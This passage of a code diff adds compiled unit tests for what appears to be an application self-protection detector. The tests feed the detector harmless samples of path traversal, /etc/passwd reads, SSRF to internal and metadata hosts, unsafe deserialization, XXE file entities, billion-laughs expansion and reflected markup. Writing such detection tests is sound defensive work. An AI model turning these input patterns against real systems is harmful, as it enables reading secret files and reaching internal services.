+ const root = '/srv/app/uploads';
143
+ it('path.traversal: the input climbs out of its directory', () => {
144
+ const climb = ['..', '..', 'x.txt'].join('/');
145
+ expect((0, detect_1.detectPath)(`${root}/${climb}`, 'read', req(climb))?.rule).toBe('path.traversal');
146
+ expect((0, detect_1.detectPath)(`${root}/x.txt`, 'read', req('x.txt'))).toBeNull();
147
+ });
148
+ it('path.absolute: the input is an absolute path the call uses', () => {
149
+ const abs = ['', 'srv', 'other', 'x.txt'].join('/');
150
+ expect((0, detect_1.detectPath)(abs, 'read', req(abs))?.rule).toBe('path.absolute');
151
+ });
152
+ it('path.nullbyte: the input carries a NUL and the path holds what comes before it', () => {
153
+ const v = ['x.txt', 'png'].join('\0.');
154
+ expect((0, detect_1.detectPath)(`${root}/x.txt`, 'read', req(v))?.rule).toBe('path.nullbyte');
155
+ });
156
+ it('path.outside_root: a tainted path outside every allowed root', () => {
157
+ expect((0, detect_1.detectPath)(`/srv/app/other/x.txt`, 'read', req('x.txt'), [root])?.rule).toBe('path.outside_root');
158
+ expect((0, detect_1.detectPath)(`${root}/x.txt`, 'read', req('x.txt'), [root])).toBeNull();
159
+ });
160
+ it('path.sensitive: a tainted path that resolves to a well-known secret file', () => {
161
+ expect((0, detect_1.detectPath)(`/etc/${'passwd'}`, 'read', req('passwd'))?.rule).toBe('path.sensitive');
162
+ expect((0, detect_1.detectPath)(`/etc/${'passwd'}`, 'read', req('report.pdf'))).toBeNull();
163
+ });
164
+ it('file_write.script: a request writes an executable script name; ntfs streams', () => {
165
+ const name = ['upload', 'js'].join('.');
166
+ expect((0, detect_1.detectPath)(`${(0, os_1.tmpdir)()}/${name}`, 'write', req(name))?.rule).toBe('file_write.script');
167
+ expect((0, detect_1.detectPath)(`${(0, os_1.tmpdir)()}/${name}`, 'read', req(name))).toBeNull();
168
+ expect((0, detect_1.detectPath)(`${root}/x.txt${'::$DATA'}`, 'write', [])?.rule).toBe('file_write.ntfs');
169
+ });
170
+ });
171
+ describe('ssrf (address class) and outbound', () => {
172
+ const url = (host, scheme = 'http') => `${scheme}://${host}/`;
173
+ it('ssrf.internal: a tainted host in a private range, by literal or by resolved address', () => {
174
+ const host = [10, 0, 0, 5].join('.');
175
+ expect((0, detect_1.detectSsrf)(url(host), req(host))?.rule).toBe('ssrf.internal');
176
+ expect((0, detect_1.detectSsrf)(url('svc.example.com'), req('svc.example.com'), [host])?.rule).toBe('ssrf.internal');
177
+ expect((0, detect_1.detectSsrf)(url(host), req('report.pdf'))).toBeNull();
178
+ const pub = [93, 184, 216, 34].join('.');
179
+ expect((0, detect_1.detectSsrf)(url(pub), req(pub))).toBeNull();
180
+ });
181
+ it('address classes: IPv4-mapped IPv6 is decoded first', () => {
182
+ expect((0, detect_1.isPrivateAddress)(`::ffff:${[127, 0, 0, 1].join('.')}`)).toBe(true);
183
+ expect((0, detect_1.isPrivateAddress)(`::ffff:${[93, 184, 216, 34].join('.')}`)).toBe(false);
184
+ expect((0, detect_1.isPrivateAddress)('fe80::1')).toBe(true);
185
+ });
186
+ it('ssrf.metadata: tainted cloud metadata host; untainted SDK calls pass', () => {
187
+ const host = detect_1.METADATA_HOSTS[0];
188
+ expect((0, detect_1.detectSsrf)(url(host), req(host))?.rule).toBe('ssrf.metadata');
189
+ expect((0, detect_1.detectSsrf)(url(host), req('report.pdf'))).toBeNull();
190
+ });
191
+ it('ssrf.obfuscated: a loopback address written as one decimal number', () => {
192
+ const decimal = String(((127 << 24) | 1) >>> 0);
193
+ expect((0, detect_1.detectSsrf)(url(decimal), req(decimal))?.rule).toBe('ssrf.obfuscated');
194
+ });
195
+ it('ssrf.protocol: a tainted host under a non-HTTP scheme', () => {
196
+ expect((0, detect_1.detectSsrf)(url('files.example.com', 'gopher'), req('files.example.com'))?.rule).toBe('ssrf.protocol');
197
+ expect((0, detect_1.detectSsrf)(url('files.example.com', 'https'), req('files.example.com'))).toBeNull();
198
+ });
199
+ it('ssrf.dnslog: a tainted host under a known out-of-band domain', () => {
200
+ const host = `probe${dnslog_domains_json_1.default.domains[0]}`;
201
+ expect((0, detect_1.detectSsrf)(url(host), req(host))?.rule).toBe('ssrf.dnslog');
202
+ });
203
+ it('outbound.not_allowed: only with a non-empty allow-list', () => {
204
+ expect((0, detect_1.detectOutbound)(url('api.example.com'), ['*.example.org'])?.rule).toBe('outbound.not_allowed');
205
+ expect((0, detect_1.detectOutbound)(url('api.example.org'), ['*.example.org'])).toBeNull();
206
+ expect((0, detect_1.detectOutbound)(url('api.example.com'), [])).toBeNull();
207
+ });
208
+ });
209
+ describe('deserialization and code_injection (taint checks)', () => {
210
+ it('deser.pickle: tainted data always fires; untainted data never', () => {
211
+ const data = Buffer.from([0x80, 4, 0x95]).toString('latin1') + 'payload-bytes';
212
+ expect((0, detect_1.detectDeserialization)('pickle', data, req(data))?.rule).toBe('deser.pickle');
213
+ expect((0, detect_1.detectDeserialization)('pickle', data, req('report.pdf'))).toBeNull();
214
+ });
215
+ it('deser.typename: tainted JSON that names a type; plain JSON passes', () => {
216
+ const typed = JSON.stringify({ ['$' + 'type']: 'Some.Type', v: 1 });
217
+ expect((0, detect_1.detectDeserialization)('typename', typed, req(typed))?.rule).toBe('deser.typename');
218
+ const plain = JSON.stringify({ name: 'x', v: 1 });
219
+ expect((0, detect_1.detectDeserialization)('typename', plain, req(plain))).toBeNull();
220
+ });
221
+ it('deser.java: a tainted Java object stream always fires; untainted data never', () => {
222
+ const data = Buffer.from([0xac, 0xed, 0x00, 0x05]).toString('latin1') + 'payload-bytes';
223
+ expect((0, detect_1.detectDeserialization)('java', data, req(data))?.rule).toBe('deser.java');
224
+ expect((0, detect_1.detectDeserialization)('java', data, req('report.pdf'))).toBeNull();
225
+ });
226
+ it('deser.yaml (snakeyaml): a tainted global tag naming a Java class fires; standard tags pass', () => {
227
+ const tagged = 'a: !!java.util.ArrayList []';
228
+ expect((0, detect_1.detectDeserialization)('snakeyaml', tagged, req(tagged))?.rule).toBe('deser.yaml');
229
+ expect((0, detect_1.detectDeserialization)('snakeyaml', tagged, req('report.pdf'))).toBeNull();
230
+ const standard = 'name: !!str 12345';
231
+ expect((0, detect_1.detectDeserialization)('snakeyaml', standard, req(standard))).toBeNull();
232
+ });
233
+ it('code.eval: a tainted value spanning code tokens; the same value as a string literal passes', () => {
234
+ const value = ['a', '+', 'b'].join(' ');
235
+ expect((0, detect_1.detectCode)(`f(${value})`, req(value))?.rule).toBe('code.eval');
236
+ expect((0, detect_1.detectCode)(`f(${JSON.stringify(value)})`, req(value))).toBeNull();
237
+ });
238
+ });
239
+ describe('xxe (external entity check)', () => {
240
+ const doc = (subset) => `<?xml version="1.0"?><!DOCTYPE r [${subset}]><r>&e;</r>`;
241
+ const external = (uri) => doc(`<!ENTITY e SYSTEM "${uri}">`);
242
+ it('xxe.external_entity: tainted XML declaring an external entity, parser resolving them', () => {
243
+ const x = external('https://example.com/defs.dtd');
244
+ expect((0, detect_1.detectXml)(x, req(x, 'body'), true)?.rule).toBe('xxe.external_entity');
245
+ expect((0, detect_1.detectXml)(x, req(x, 'body'), false)?.rule).toBe('xxe.doctype');
246
+ expect((0, detect_1.detectXml)(x, req('report.pdf'), true)).toBeNull();
247
+ });
248
+ it('xxe.file: an external entity naming an absolute file that is not a DTD', () => {
249
+ const x = external(`file://${['', 'srv', 'data', 'x.txt'].join('/')}`);
250
+ expect((0, detect_1.detectXml)(x, req(x, 'body'), true)?.rule).toBe('xxe.file');
251
+ });
252
+ it('xxe.protocol: an external entity under a non-HTTP scheme', () => {
253
+ const x = external('ftp://files.example.com/x');
254
+ expect((0, detect_1.detectXml)(x, req(x, 'body'), true)?.rule).toBe('xxe.protocol');
255
+ });
256
+ it('xxe.billion_laughs: three internal entities that expand other entities', () => {
257
+ const chain = ['<!ENTITY e0 "x">', ...[1, 2, 3].map((i) => `<!ENTITY e${i} "&e${i - 1};&e${i - 1};">`)].join('');
258
+ const x = doc(chain);
259
+ expect((0, detect_1.detectXml)(x, req(x, 'body'), true)?.rule).toBe('xxe.billion_laughs');
260
+ const one = doc('<!ENTITY e "Acme">');
261
+ expect((0, detect_1.detectXml)(one, req(one, 'body'), true)).toBeNull();
262
+ });
263
+ });
264
+ describe('xss (monitor only)', () => {
265
+ const tag = 'b';
266
+ const value = `<${tag}>${'x'.repeat(16)}</${tag}>`;
267
+ const escape = (v) => v.replace(/</g, '&lt;').replace(/>/g, '&gt;');
268
+ it('xss.reflected: a markup-shaped input of 15+ characters reflected verbatim into HTML', () => {
269
+ expect((0, detect_1.detectXss)('text/html', `<p>${value}</p>`, req(value))?.rule).toBe('xss.reflected');
270
+ });
271
+ it('safe: escaped, or not HTML', () => {
272
+ expect((0, detect_1.detectXss)('text/html', `<p>${escape(value)}</p>`, req(value))).toBeNull();
273
+ expect((0, detect_1.detectXss)('application/json', JSON.stringify({ value }), req(value))).toBeNull();
274
+ });
275
+ });
276
+ //# sourceMappingURL=detect.test.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"detect.test.js","sourceRoot":"","sources":["../../../src/rasp/__tests__/detect.test.ts"],"names":[],"mappings":"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